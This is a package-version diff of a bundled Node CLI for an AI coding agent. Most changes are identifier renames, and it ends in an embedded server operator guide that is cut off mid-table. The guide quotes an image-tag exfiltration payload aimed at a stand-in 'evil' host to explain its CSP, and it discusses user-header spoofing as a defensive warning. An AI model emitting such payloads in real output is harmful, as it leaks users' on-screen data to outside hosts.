@chosengeneration/light-code 0.33.0 → 0.37.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -500,14 +500,14 @@ var require_util = __commonJS({
500
500
  }
501
501
  const port = url2.port != null ? url2.port : url2.protocol === "https:" ? 443 : 80;
502
502
  let origin = url2.origin != null ? url2.origin : `${url2.protocol}//${url2.hostname}:${port}`;
503
- let path33 = url2.path != null ? url2.path : `${url2.pathname || ""}${url2.search || ""}`;
503
+ let path34 = url2.path != null ? url2.path : `${url2.pathname || ""}${url2.search || ""}`;
504
504
  if (origin.endsWith("/")) {
505
505
  origin = origin.substring(0, origin.length - 1);
506
506
  }
507
- if (path33 && !path33.startsWith("/")) {
508
- path33 = `/${path33}`;
507
+ if (path34 && !path34.startsWith("/")) {
508
+ path34 = `/${path34}`;
509
509
  }
510
- url2 = new URL(origin + path33);
510
+ url2 = new URL(origin + path34);
511
511
  }
512
512
  return url2;
513
513
  }
@@ -2121,20 +2121,20 @@ var require_parseParams = __commonJS({
2121
2121
  var require_basename = __commonJS({
2122
2122
  "../../node_modules/.pnpm/@fastify+busboy@2.1.1/node_modules/@fastify/busboy/lib/utils/basename.js"(exports, module) {
2123
2123
  "use strict";
2124
- module.exports = function basename(path33) {
2125
- if (typeof path33 !== "string") {
2124
+ module.exports = function basename(path34) {
2125
+ if (typeof path34 !== "string") {
2126
2126
  return "";
2127
2127
  }
2128
- for (var i = path33.length - 1; i >= 0; --i) {
2129
- switch (path33.charCodeAt(i)) {
2128
+ for (var i = path34.length - 1; i >= 0; --i) {
2129
+ switch (path34.charCodeAt(i)) {
2130
2130
  case 47:
2131
2131
  // '/'
2132
2132
  case 92:
2133
- path33 = path33.slice(i + 1);
2134
- return path33 === ".." || path33 === "." ? "" : path33;
2133
+ path34 = path34.slice(i + 1);
2134
+ return path34 === ".." || path34 === "." ? "" : path34;
2135
2135
  }
2136
2136
  }
2137
- return path33 === ".." || path33 === "." ? "" : path33;
2137
+ return path34 === ".." || path34 === "." ? "" : path34;
2138
2138
  };
2139
2139
  }
2140
2140
  });
@@ -5164,7 +5164,7 @@ var require_request = __commonJS({
5164
5164
  }
5165
5165
  var Request = class _Request {
5166
5166
  constructor(origin, {
5167
- path: path33,
5167
+ path: path34,
5168
5168
  method,
5169
5169
  body,
5170
5170
  headers,
@@ -5178,11 +5178,11 @@ var require_request = __commonJS({
5178
5178
  throwOnError,
5179
5179
  expectContinue
5180
5180
  }, handler) {
5181
- if (typeof path33 !== "string") {
5181
+ if (typeof path34 !== "string") {
5182
5182
  throw new InvalidArgumentError("path must be a string");
5183
- } else if (path33[0] !== "/" && !(path33.startsWith("http://") || path33.startsWith("https://")) && method !== "CONNECT") {
5183
+ } else if (path34[0] !== "/" && !(path34.startsWith("http://") || path34.startsWith("https://")) && method !== "CONNECT") {
5184
5184
  throw new InvalidArgumentError("path must be an absolute URL or start with a slash");
5185
- } else if (invalidPathRegex.exec(path33) !== null) {
5185
+ } else if (invalidPathRegex.exec(path34) !== null) {
5186
5186
  throw new InvalidArgumentError("invalid request path");
5187
5187
  }
5188
5188
  if (typeof method !== "string") {
@@ -5245,7 +5245,7 @@ var require_request = __commonJS({
5245
5245
  this.completed = false;
5246
5246
  this.aborted = false;
5247
5247
  this.upgrade = upgrade || null;
5248
- this.path = query ? util.buildURL(path33, query) : path33;
5248
+ this.path = query ? util.buildURL(path34, query) : path34;
5249
5249
  this.origin = origin;
5250
5250
  this.idempotent = idempotent == null ? method === "HEAD" || method === "GET" : idempotent;
5251
5251
  this.blocking = blocking == null ? false : blocking;
@@ -6253,9 +6253,9 @@ var require_RedirectHandler = __commonJS({
6253
6253
  return this.handler.onHeaders(statusCode, headers, resume, statusText);
6254
6254
  }
6255
6255
  const { origin, pathname, search } = util.parseURL(new URL(this.location, this.opts.origin && new URL(this.opts.path, this.opts.origin)));
6256
- const path33 = search ? `${pathname}${search}` : pathname;
6256
+ const path34 = search ? `${pathname}${search}` : pathname;
6257
6257
  this.opts.headers = cleanRequestHeaders(this.opts.headers, statusCode === 303, this.opts.origin !== origin);
6258
- this.opts.path = path33;
6258
+ this.opts.path = path34;
6259
6259
  this.opts.origin = origin;
6260
6260
  this.opts.maxRedirections = 0;
6261
6261
  this.opts.query = null;
@@ -7495,7 +7495,7 @@ var require_client = __commonJS({
7495
7495
  writeH2(client, client[kHTTP2Session], request);
7496
7496
  return;
7497
7497
  }
7498
- const { body, method, path: path33, host, upgrade, headers, blocking, reset } = request;
7498
+ const { body, method, path: path34, host, upgrade, headers, blocking, reset } = request;
7499
7499
  const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH";
7500
7500
  if (body && typeof body.read === "function") {
7501
7501
  body.read(0);
@@ -7545,7 +7545,7 @@ var require_client = __commonJS({
7545
7545
  if (blocking) {
7546
7546
  socket[kBlocking] = true;
7547
7547
  }
7548
- let header = `${method} ${path33} HTTP/1.1\r
7548
+ let header = `${method} ${path34} HTTP/1.1\r
7549
7549
  `;
7550
7550
  if (typeof host === "string") {
7551
7551
  header += `host: ${host}\r
@@ -7608,7 +7608,7 @@ upgrade: ${upgrade}\r
7608
7608
  return true;
7609
7609
  }
7610
7610
  function writeH2(client, session, request) {
7611
- const { body, method, path: path33, host, upgrade, expectContinue, signal, headers: reqHeaders } = request;
7611
+ const { body, method, path: path34, host, upgrade, expectContinue, signal, headers: reqHeaders } = request;
7612
7612
  let headers;
7613
7613
  if (typeof reqHeaders === "string") headers = Request[kHTTP2CopyHeaders](reqHeaders.trim());
7614
7614
  else headers = reqHeaders;
@@ -7651,7 +7651,7 @@ upgrade: ${upgrade}\r
7651
7651
  });
7652
7652
  return true;
7653
7653
  }
7654
- headers[HTTP2_HEADER_PATH] = path33;
7654
+ headers[HTTP2_HEADER_PATH] = path34;
7655
7655
  headers[HTTP2_HEADER_SCHEME] = "https";
7656
7656
  const expectsPayload = method === "PUT" || method === "POST" || method === "PATCH";
7657
7657
  if (body && typeof body.read === "function") {
@@ -9891,20 +9891,20 @@ var require_mock_utils = __commonJS({
9891
9891
  }
9892
9892
  return true;
9893
9893
  }
9894
- function safeUrl(path33) {
9895
- if (typeof path33 !== "string") {
9896
- return path33;
9894
+ function safeUrl(path34) {
9895
+ if (typeof path34 !== "string") {
9896
+ return path34;
9897
9897
  }
9898
- const pathSegments = path33.split("?");
9898
+ const pathSegments = path34.split("?");
9899
9899
  if (pathSegments.length !== 2) {
9900
- return path33;
9900
+ return path34;
9901
9901
  }
9902
9902
  const qp = new URLSearchParams(pathSegments.pop());
9903
9903
  qp.sort();
9904
9904
  return [...pathSegments, qp.toString()].join("?");
9905
9905
  }
9906
- function matchKey(mockDispatch2, { path: path33, method, body, headers }) {
9907
- const pathMatch = matchValue(mockDispatch2.path, path33);
9906
+ function matchKey(mockDispatch2, { path: path34, method, body, headers }) {
9907
+ const pathMatch = matchValue(mockDispatch2.path, path34);
9908
9908
  const methodMatch = matchValue(mockDispatch2.method, method);
9909
9909
  const bodyMatch = typeof mockDispatch2.body !== "undefined" ? matchValue(mockDispatch2.body, body) : true;
9910
9910
  const headersMatch = matchHeaders(mockDispatch2, headers);
@@ -9922,7 +9922,7 @@ var require_mock_utils = __commonJS({
9922
9922
  function getMockDispatch(mockDispatches, key) {
9923
9923
  const basePath = key.query ? buildURL(key.path, key.query) : key.path;
9924
9924
  const resolvedPath = typeof basePath === "string" ? safeUrl(basePath) : basePath;
9925
- let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path: path33 }) => matchValue(safeUrl(path33), resolvedPath));
9925
+ let matchedMockDispatches = mockDispatches.filter(({ consumed }) => !consumed).filter(({ path: path34 }) => matchValue(safeUrl(path34), resolvedPath));
9926
9926
  if (matchedMockDispatches.length === 0) {
9927
9927
  throw new MockNotMatchedError(`Mock dispatch not matched for path '${resolvedPath}'`);
9928
9928
  }
@@ -9959,9 +9959,9 @@ var require_mock_utils = __commonJS({
9959
9959
  }
9960
9960
  }
9961
9961
  function buildKey(opts) {
9962
- const { path: path33, method, body, headers, query } = opts;
9962
+ const { path: path34, method, body, headers, query } = opts;
9963
9963
  return {
9964
- path: path33,
9964
+ path: path34,
9965
9965
  method,
9966
9966
  body,
9967
9967
  headers,
@@ -10410,10 +10410,10 @@ var require_pending_interceptors_formatter = __commonJS({
10410
10410
  }
10411
10411
  format(pendingInterceptors) {
10412
10412
  const withPrettyHeaders = pendingInterceptors.map(
10413
- ({ method, path: path33, data: { statusCode }, persist, times, timesInvoked, origin }) => ({
10413
+ ({ method, path: path34, data: { statusCode }, persist, times, timesInvoked, origin }) => ({
10414
10414
  Method: method,
10415
10415
  Origin: origin,
10416
- Path: path33,
10416
+ Path: path34,
10417
10417
  "Status code": statusCode,
10418
10418
  Persistent: persist ? "\u2705" : "\u274C",
10419
10419
  Invocations: timesInvoked,
@@ -15033,8 +15033,8 @@ var require_util6 = __commonJS({
15033
15033
  }
15034
15034
  }
15035
15035
  }
15036
- function validateCookiePath(path33) {
15037
- for (const char of path33) {
15036
+ function validateCookiePath(path34) {
15037
+ for (const char of path34) {
15038
15038
  const code = char.charCodeAt(0);
15039
15039
  if (code < 33 || char === ";") {
15040
15040
  throw new Error("Invalid cookie path");
@@ -16714,11 +16714,11 @@ var require_undici = __commonJS({
16714
16714
  if (typeof opts.path !== "string") {
16715
16715
  throw new InvalidArgumentError("invalid opts.path");
16716
16716
  }
16717
- let path33 = opts.path;
16717
+ let path34 = opts.path;
16718
16718
  if (!opts.path.startsWith("/")) {
16719
- path33 = `/${path33}`;
16719
+ path34 = `/${path34}`;
16720
16720
  }
16721
- url2 = new URL(util.parseOrigin(url2).origin + path33);
16721
+ url2 = new URL(util.parseOrigin(url2).origin + path34);
16722
16722
  } else {
16723
16723
  if (!opts) {
16724
16724
  opts = typeof url2 === "object" ? url2 : {};
@@ -19989,8 +19989,8 @@ var require_utils2 = __commonJS({
19989
19989
  }
19990
19990
  return ind;
19991
19991
  }
19992
- function removeDotSegments(path33) {
19993
- let input = path33;
19992
+ function removeDotSegments(path34) {
19993
+ let input = path34;
19994
19994
  const output = [];
19995
19995
  let nextSlash = -1;
19996
19996
  let len = 0;
@@ -20242,8 +20242,8 @@ var require_schemes = __commonJS({
20242
20242
  wsComponent.secure = void 0;
20243
20243
  }
20244
20244
  if (wsComponent.resourceName) {
20245
- const [path33, query] = wsComponent.resourceName.split("?");
20246
- wsComponent.path = path33 && path33 !== "/" ? path33 : void 0;
20245
+ const [path34, query] = wsComponent.resourceName.split("?");
20246
+ wsComponent.path = path34 && path34 !== "/" ? path34 : void 0;
20247
20247
  wsComponent.query = query;
20248
20248
  wsComponent.resourceName = void 0;
20249
20249
  }
@@ -23642,12 +23642,12 @@ var require_dist = __commonJS({
23642
23642
  throw new Error(`Unknown format "${name}"`);
23643
23643
  return f;
23644
23644
  };
23645
- function addFormats(ajv, list, fs26, exportName) {
23645
+ function addFormats(ajv, list, fs27, exportName) {
23646
23646
  var _a3;
23647
23647
  var _b;
23648
23648
  (_a3 = (_b = ajv.opts.code).formats) !== null && _a3 !== void 0 ? _a3 : _b.formats = (0, codegen_1._)`require("ajv-formats/dist/formats").${exportName}`;
23649
23649
  for (const f of list)
23650
- ajv.addFormat(f, fs26[f]);
23650
+ ajv.addFormat(f, fs27[f]);
23651
23651
  }
23652
23652
  module.exports = exports = formatsPlugin;
23653
23653
  Object.defineProperty(exports, "__esModule", { value: true });
@@ -23660,8 +23660,8 @@ var require_windows = __commonJS({
23660
23660
  "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/windows.js"(exports, module) {
23661
23661
  module.exports = isexe;
23662
23662
  isexe.sync = sync;
23663
- var fs26 = __require("fs");
23664
- function checkPathExt(path33, options) {
23663
+ var fs27 = __require("fs");
23664
+ function checkPathExt(path34, options) {
23665
23665
  var pathext = options.pathExt !== void 0 ? options.pathExt : process.env.PATHEXT;
23666
23666
  if (!pathext) {
23667
23667
  return true;
@@ -23672,25 +23672,25 @@ var require_windows = __commonJS({
23672
23672
  }
23673
23673
  for (var i = 0; i < pathext.length; i++) {
23674
23674
  var p = pathext[i].toLowerCase();
23675
- if (p && path33.substr(-p.length).toLowerCase() === p) {
23675
+ if (p && path34.substr(-p.length).toLowerCase() === p) {
23676
23676
  return true;
23677
23677
  }
23678
23678
  }
23679
23679
  return false;
23680
23680
  }
23681
- function checkStat(stat, path33, options) {
23681
+ function checkStat(stat, path34, options) {
23682
23682
  if (!stat.isSymbolicLink() && !stat.isFile()) {
23683
23683
  return false;
23684
23684
  }
23685
- return checkPathExt(path33, options);
23685
+ return checkPathExt(path34, options);
23686
23686
  }
23687
- function isexe(path33, options, cb) {
23688
- fs26.stat(path33, function(er, stat) {
23689
- cb(er, er ? false : checkStat(stat, path33, options));
23687
+ function isexe(path34, options, cb) {
23688
+ fs27.stat(path34, function(er, stat) {
23689
+ cb(er, er ? false : checkStat(stat, path34, options));
23690
23690
  });
23691
23691
  }
23692
- function sync(path33, options) {
23693
- return checkStat(fs26.statSync(path33), path33, options);
23692
+ function sync(path34, options) {
23693
+ return checkStat(fs27.statSync(path34), path34, options);
23694
23694
  }
23695
23695
  }
23696
23696
  });
@@ -23700,14 +23700,14 @@ var require_mode = __commonJS({
23700
23700
  "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/mode.js"(exports, module) {
23701
23701
  module.exports = isexe;
23702
23702
  isexe.sync = sync;
23703
- var fs26 = __require("fs");
23704
- function isexe(path33, options, cb) {
23705
- fs26.stat(path33, function(er, stat) {
23703
+ var fs27 = __require("fs");
23704
+ function isexe(path34, options, cb) {
23705
+ fs27.stat(path34, function(er, stat) {
23706
23706
  cb(er, er ? false : checkStat(stat, options));
23707
23707
  });
23708
23708
  }
23709
- function sync(path33, options) {
23710
- return checkStat(fs26.statSync(path33), options);
23709
+ function sync(path34, options) {
23710
+ return checkStat(fs27.statSync(path34), options);
23711
23711
  }
23712
23712
  function checkStat(stat, options) {
23713
23713
  return stat.isFile() && checkMode(stat, options);
@@ -23731,7 +23731,7 @@ var require_mode = __commonJS({
23731
23731
  // ../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js
23732
23732
  var require_isexe = __commonJS({
23733
23733
  "../../node_modules/.pnpm/isexe@2.0.0/node_modules/isexe/index.js"(exports, module) {
23734
- var fs26 = __require("fs");
23734
+ var fs27 = __require("fs");
23735
23735
  var core;
23736
23736
  if (process.platform === "win32" || global.TESTING_WINDOWS) {
23737
23737
  core = require_windows();
@@ -23740,7 +23740,7 @@ var require_isexe = __commonJS({
23740
23740
  }
23741
23741
  module.exports = isexe;
23742
23742
  isexe.sync = sync;
23743
- function isexe(path33, options, cb) {
23743
+ function isexe(path34, options, cb) {
23744
23744
  if (typeof options === "function") {
23745
23745
  cb = options;
23746
23746
  options = {};
@@ -23750,7 +23750,7 @@ var require_isexe = __commonJS({
23750
23750
  throw new TypeError("callback not provided");
23751
23751
  }
23752
23752
  return new Promise(function(resolve, reject2) {
23753
- isexe(path33, options || {}, function(er, is) {
23753
+ isexe(path34, options || {}, function(er, is) {
23754
23754
  if (er) {
23755
23755
  reject2(er);
23756
23756
  } else {
@@ -23759,7 +23759,7 @@ var require_isexe = __commonJS({
23759
23759
  });
23760
23760
  });
23761
23761
  }
23762
- core(path33, options || {}, function(er, is) {
23762
+ core(path34, options || {}, function(er, is) {
23763
23763
  if (er) {
23764
23764
  if (er.code === "EACCES" || options && options.ignoreErrors) {
23765
23765
  er = null;
@@ -23769,9 +23769,9 @@ var require_isexe = __commonJS({
23769
23769
  cb(er, is);
23770
23770
  });
23771
23771
  }
23772
- function sync(path33, options) {
23772
+ function sync(path34, options) {
23773
23773
  try {
23774
- return core.sync(path33, options || {});
23774
+ return core.sync(path34, options || {});
23775
23775
  } catch (er) {
23776
23776
  if (options && options.ignoreErrors || er.code === "EACCES") {
23777
23777
  return false;
@@ -23787,7 +23787,7 @@ var require_isexe = __commonJS({
23787
23787
  var require_which = __commonJS({
23788
23788
  "../../node_modules/.pnpm/which@2.0.2/node_modules/which/which.js"(exports, module) {
23789
23789
  var isWindows = process.platform === "win32" || process.env.OSTYPE === "cygwin" || process.env.OSTYPE === "msys";
23790
- var path33 = __require("path");
23790
+ var path34 = __require("path");
23791
23791
  var COLON = isWindows ? ";" : ":";
23792
23792
  var isexe = require_isexe();
23793
23793
  var getNotFoundError = (cmd) => Object.assign(new Error(`not found: ${cmd}`), { code: "ENOENT" });
@@ -23825,7 +23825,7 @@ var require_which = __commonJS({
23825
23825
  return opt.all && found.length ? resolve(found) : reject2(getNotFoundError(cmd));
23826
23826
  const ppRaw = pathEnv[i];
23827
23827
  const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
23828
- const pCmd = path33.join(pathPart, cmd);
23828
+ const pCmd = path34.join(pathPart, cmd);
23829
23829
  const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
23830
23830
  resolve(subStep(p, i, 0));
23831
23831
  });
@@ -23852,7 +23852,7 @@ var require_which = __commonJS({
23852
23852
  for (let i = 0; i < pathEnv.length; i++) {
23853
23853
  const ppRaw = pathEnv[i];
23854
23854
  const pathPart = /^".*"$/.test(ppRaw) ? ppRaw.slice(1, -1) : ppRaw;
23855
- const pCmd = path33.join(pathPart, cmd);
23855
+ const pCmd = path34.join(pathPart, cmd);
23856
23856
  const p = !pathPart && /^\.[\\\/]/.test(cmd) ? cmd.slice(0, 2) + pCmd : pCmd;
23857
23857
  for (let j = 0; j < pathExt.length; j++) {
23858
23858
  const cur = p + pathExt[j];
@@ -23900,7 +23900,7 @@ var require_path_key = __commonJS({
23900
23900
  var require_resolveCommand = __commonJS({
23901
23901
  "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/resolveCommand.js"(exports, module) {
23902
23902
  "use strict";
23903
- var path33 = __require("path");
23903
+ var path34 = __require("path");
23904
23904
  var which = require_which();
23905
23905
  var getPathKey = require_path_key();
23906
23906
  function resolveCommandAttempt(parsed, withoutPathExt) {
@@ -23918,7 +23918,7 @@ var require_resolveCommand = __commonJS({
23918
23918
  try {
23919
23919
  resolved = which.sync(parsed.command, {
23920
23920
  path: env2[getPathKey({ env: env2 })],
23921
- pathExt: withoutPathExt ? path33.delimiter : void 0
23921
+ pathExt: withoutPathExt ? path34.delimiter : void 0
23922
23922
  });
23923
23923
  } catch (e) {
23924
23924
  } finally {
@@ -23927,7 +23927,7 @@ var require_resolveCommand = __commonJS({
23927
23927
  }
23928
23928
  }
23929
23929
  if (resolved) {
23930
- resolved = path33.resolve(hasCustomCwd ? parsed.options.cwd : "", resolved);
23930
+ resolved = path34.resolve(hasCustomCwd ? parsed.options.cwd : "", resolved);
23931
23931
  }
23932
23932
  return resolved;
23933
23933
  }
@@ -23981,8 +23981,8 @@ var require_shebang_command = __commonJS({
23981
23981
  if (!match) {
23982
23982
  return null;
23983
23983
  }
23984
- const [path33, argument] = match[0].replace(/#! ?/, "").split(" ");
23985
- const binary = path33.split("/").pop();
23984
+ const [path34, argument] = match[0].replace(/#! ?/, "").split(" ");
23985
+ const binary = path34.split("/").pop();
23986
23986
  if (binary === "env") {
23987
23987
  return argument;
23988
23988
  }
@@ -23995,16 +23995,16 @@ var require_shebang_command = __commonJS({
23995
23995
  var require_readShebang = __commonJS({
23996
23996
  "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/util/readShebang.js"(exports, module) {
23997
23997
  "use strict";
23998
- var fs26 = __require("fs");
23998
+ var fs27 = __require("fs");
23999
23999
  var shebangCommand = require_shebang_command();
24000
24000
  function readShebang(command) {
24001
24001
  const size = 150;
24002
24002
  const buffer = Buffer.alloc(size);
24003
24003
  let fd;
24004
24004
  try {
24005
- fd = fs26.openSync(command, "r");
24006
- fs26.readSync(fd, buffer, 0, size, 0);
24007
- fs26.closeSync(fd);
24005
+ fd = fs27.openSync(command, "r");
24006
+ fs27.readSync(fd, buffer, 0, size, 0);
24007
+ fs27.closeSync(fd);
24008
24008
  } catch (e) {
24009
24009
  }
24010
24010
  return shebangCommand(buffer.toString());
@@ -24017,7 +24017,7 @@ var require_readShebang = __commonJS({
24017
24017
  var require_parse2 = __commonJS({
24018
24018
  "../../node_modules/.pnpm/cross-spawn@7.0.6/node_modules/cross-spawn/lib/parse.js"(exports, module) {
24019
24019
  "use strict";
24020
- var path33 = __require("path");
24020
+ var path34 = __require("path");
24021
24021
  var resolveCommand = require_resolveCommand();
24022
24022
  var escape2 = require_escape();
24023
24023
  var readShebang = require_readShebang();
@@ -24042,7 +24042,7 @@ var require_parse2 = __commonJS({
24042
24042
  const needsShell = !isExecutableRegExp.test(commandFile);
24043
24043
  if (parsed.options.forceShell || needsShell) {
24044
24044
  const needsDoubleEscapeMetaChars = isCmdShimRegExp.test(commandFile);
24045
- parsed.command = path33.normalize(parsed.command);
24045
+ parsed.command = path34.normalize(parsed.command);
24046
24046
  parsed.command = escape2.command(parsed.command);
24047
24047
  parsed.args = parsed.args.map((arg) => escape2.argument(arg, needsDoubleEscapeMetaChars));
24048
24048
  const shellCommand = [parsed.command].concat(parsed.args).join(" ");
@@ -24132,7 +24132,7 @@ var require_cross_spawn = __commonJS({
24132
24132
  var cp = __require("child_process");
24133
24133
  var parse3 = require_parse2();
24134
24134
  var enoent = require_enoent();
24135
- function spawn7(command, args, options) {
24135
+ function spawn8(command, args, options) {
24136
24136
  const parsed = parse3(command, args, options);
24137
24137
  const spawned = cp.spawn(parsed.command, parsed.args, parsed.options);
24138
24138
  enoent.hookChildProcess(spawned, parsed);
@@ -24144,8 +24144,8 @@ var require_cross_spawn = __commonJS({
24144
24144
  result.error = result.error || enoent.verifyENOENTSync(result.status, parsed);
24145
24145
  return result;
24146
24146
  }
24147
- module.exports = spawn7;
24148
- module.exports.spawn = spawn7;
24147
+ module.exports = spawn8;
24148
+ module.exports.spawn = spawn8;
24149
24149
  module.exports.sync = spawnSync;
24150
24150
  module.exports._parse = parse3;
24151
24151
  module.exports._enoent = enoent;
@@ -24304,10 +24304,10 @@ function installNodeCompat() {
24304
24304
  }
24305
24305
 
24306
24306
  // src/cli.ts
24307
- import { spawn as spawn6 } from "node:child_process";
24308
- import fs25 from "node:fs/promises";
24307
+ import { spawn as spawn7 } from "node:child_process";
24308
+ import fs26 from "node:fs/promises";
24309
24309
  import os3 from "node:os";
24310
- import path32 from "node:path";
24310
+ import path33 from "node:path";
24311
24311
  import { fileURLToPath, pathToFileURL } from "node:url";
24312
24312
 
24313
24313
  // ../../node_modules/.pnpm/env-paths@3.0.0/node_modules/env-paths/index.js
@@ -24550,7 +24550,7 @@ function refusalFor(messageType) {
24550
24550
  }
24551
24551
 
24552
24552
  // src/generated/operatorGuide.ts
24553
- var OPERATOR_GUIDE = '# Running Light Code as a server\r\n\r\nTwo very different deployments share one binary. The first is supported today. The second\r\nis designed for and partly built, but **is not finished, and the gap is not the code \u2014 it is\r\na privilege model.** Read the second half before planning it.\r\n\r\n---\r\n\r\n## 1. Local, single user\r\n\r\nStarts a server on `127.0.0.1` and opens your browser. Same UI as the extension, same\r\nagent, same config format.\r\n\r\n```bash\r\nnpx @chosengeneration/light-code # current folder\r\nnpx @chosengeneration/light-code --workspace D:\\src\\repo\r\nnpx @chosengeneration/light-code --port 7100 --no-open\r\n```\r\n\r\nThe bare name `light-code` on npm belongs to an unrelated package, hence the scope. The\r\ninstalled command is still `light-code`.\r\n\r\nFrom a clone instead:\r\n\r\n```bash\r\npnpm install\r\npnpm serve --workspace D:\\src\\my-repo\r\n```\r\n\r\n### Requirements\r\n\r\n**Node 17 or newer.** Nothing here needs a current runtime: the newest API Light Code itself uses\r\nis `structuredClone`, which arrived in Node 17.0. The floor is 17 rather than lower only because\r\nof that.\r\n\r\nOne dependency \u2014 the MCP SDK \u2014 is written against Node 18 and expects `fetch`, the stream types\r\nand `Blob` on `globalThis`. On Node 17 those all exist but are not global, so the CLI supplies\r\nthem from Node\'s own modules and from undici before anything else loads, and says so in the\r\nstartup banner when it has done it. On Node 18 and above it does nothing.\r\n\r\nNode 20 or newer is still what the repository is developed against.\r\n\r\n## Before publishing a version\r\n\r\n```bash\r\npnpm verify:npm\r\nnpm publish --access public # from apps/host, after npm login\r\n```\r\n\r\n`verify:npm` runs lint, typecheck, tests and the build, then\r\n`scripts/smoke-test-npm.mjs`: it packs the tarball, installs it into an empty directory\r\nwith plain `npm`, and runs it.\r\n\r\nThat last step is not ceremony. A workspace has every dependency hoisted and every sibling\r\npackage linked, so a bundled import or a missing `dependencies` entry stays invisible until\r\nsomebody installs it fresh \u2014 which is exactly how a VSIX that could not activate at all\r\nonce passed build, typecheck, test *and* package.\r\n\r\n### How the session is protected\r\n\r\nLoopback is not a security boundary. Any page you have open can issue requests to\r\n`127.0.0.1`, and while it cannot *read* the reply cross-origin, a request that runs a shell\r\ncommand has already done its damage on the way in. So:\r\n\r\n- **Bound to literal `127.0.0.1`**, never `localhost` \u2014 the name resolves differently per\r\n machine and can dual-stack onto an interface that is not loopback at all.\r\n- **Two-stage token handoff.** The launch URL carries a single-use token in the *fragment*,\r\n which browsers never send to a server. The page reads it, exchanges it at `/api/session`\r\n for a session token, and calls `history.replaceState` to strip it from the address bar.\r\n The handoff expires in 10 seconds and is consumed on first use, valid or not.\r\n- **Bearer header, never a cookie.** Cookies are attached to requests automatically, which\r\n is the mechanism CSRF depends on.\r\n- **`Origin` and `Host` are both checked on every request.** Origin catches CSRF. Host\r\n catches DNS rebinding, where the attacker\'s own domain resolves to 127.0.0.1 so the\r\n Origin check legitimately passes \u2014 the giveaway is a `Host` this server never bound.\r\n- **Strict CSP** with `connect-src \'self\'` and `img-src \'self\' data:`. Model output renders\r\n in this page; without those, a reply containing `<img src="https://evil/?d=...">`\r\n exfiltrates whatever is on screen.\r\n- **No `Access-Control-Allow-Origin`.** Nothing else may read these responses.\r\n\r\nVerified against the running server: a forged Origin is refused with 403, a foreign Host\r\nwith 421, an absent or wrong token with 401, and a handoff token cannot be redeemed twice.\r\n\r\n### Where things are stored\r\n\r\n`--data-dir`, defaulting to the OS application-data directory:\r\n\r\n```\r\n<data>/shared.json administrator ids, variables for everyone (0600)\r\n<data>/users/<hash of principal id>/\r\n config.json profiles, MCP servers, approvals (0600)\r\n secrets.json API keys, passwords (0600)\r\n variables.json this user\'s session variables (0600)\r\n workspace-state.json which task was open\r\n tasks/ conversation history\r\n tool-results/ spilled tool output\r\n checkpoints/ shadow-git snapshots\r\n```\r\n\r\n**Variables are a file of their own, not a key in `config.json`.** The config schema strips keys\r\nit does not recognise, so variables kept there would survive until the first unrelated save and\r\nthen vanish silently. Do not move them back.\r\n\r\nEverything is already per-principal, which is the groundwork for the next section.\r\n\r\n**Secrets are a file, not a keychain, and the UI says so.** The extension gets DPAPI or\r\nKeychain through VS Code\'s `SecretStorage`. The server has no equivalent without a native\r\nmodule, so it uses an owner-only file. Encrypting it would be theatre: the key would sit\r\nbeside it, readable by the same processes.\r\n\r\n---\r\n\r\n## 1b. Shared mode: `--server` \u2014 a usage guide\r\n\r\nOne server, many people, two URLs. Read section 2 before deciding to run it: this locks\r\n*settings*, not *privileges*, and the difference matters.\r\n\r\n### Set it up\r\n\r\n**1. Put a reverse proxy in front.** IIS, nginx or anything that terminates your existing\r\nauthentication \u2014 Kerberos, NTLM, OIDC. The proxy authenticates the user and states the result in\r\na header.\r\n\r\n**2. Make the proxy set the user header, and strip any inbound copy of it.** Stripping is not\r\noptional: without it a user types their own header and becomes whoever they like.\r\n\r\n```nginx\r\nlocation / {\r\n proxy_set_header X-Forwarded-User $remote_user; # replaces, never appends\r\n proxy_set_header X-Forwarded-Display-Name $remote_user;\r\n proxy_pass http://127.0.0.1:8080;\r\n}\r\n```\r\n\r\nSend the **immutable directory id** \u2014 an Entra object id, an AD SID \u2014 not a username. A username\r\ngets reassigned to a different human when someone leaves; an object id does not.\r\n\r\n**3. Start the server.**\r\n\r\n```bash\r\nlight-code --server \\\r\n --workspace /srv/repo \\\r\n --trust-proxy 10.0.0.5 \\\r\n --admin-id 8f3c1e22-... \\\r\n --port 8080\r\n```\r\n\r\nIt prints both URLs:\r\n\r\n```\r\n users http://127.0.0.1:8080/\r\n administrators http://127.0.0.1:8080/admin\r\n```\r\n\r\n**4. Restrict `/admin` at the proxy.** Light Code does not guard that path \u2014 see below.\r\n\r\n### Trying it on one machine\r\n\r\nA browser cannot set the user header, so without a proxy in front every request is refused \u2014\r\ncorrectly, and the screen stays empty. `scripts/dev-proxy.mjs` closes that gap for local testing:\r\n\r\n```bash\r\n# terminal 1 \u2014 the server, trusting loopback\r\nlight-code --server --port 8751 --trust-proxy 127.0.0.1 --admin-id alice\r\n\r\n# terminal 2 \u2014 a stand-in proxy that stamps a user on every request\r\nnode scripts/dev-proxy.mjs --port 8080 --to 8751 --user alice --name Alice\r\n```\r\n\r\nThen open <http://127.0.0.1:8080/> as a user and <http://127.0.0.1:8080/admin> as an administrator.\r\nRestart the proxy with `--user bob` to see the same server as someone who is not on the admin list.\r\n\r\n**It authenticates nobody.** It stamps whichever user you name onto every request, which is exactly\r\nwhat a real proxy must never do. It is safe here only because it binds loopback and you started it.\r\nDo not put it in front of anything, and do not copy its shape \u2014 the real config above *strips* an\r\ninbound header rather than trusting one.\r\n\r\n### The flags\r\n\r\n| Flag | What it does |\r\n|---|---|\r\n| `--server` | Shared mode. Settings become read-only except for administrators. |\r\n| `--trust-proxy <ip>` | Believe the user header from this address. **Repeatable, and required** \u2014 without it every request is refused. |\r\n| `--user-header <h>` | Which header carries the id. Default 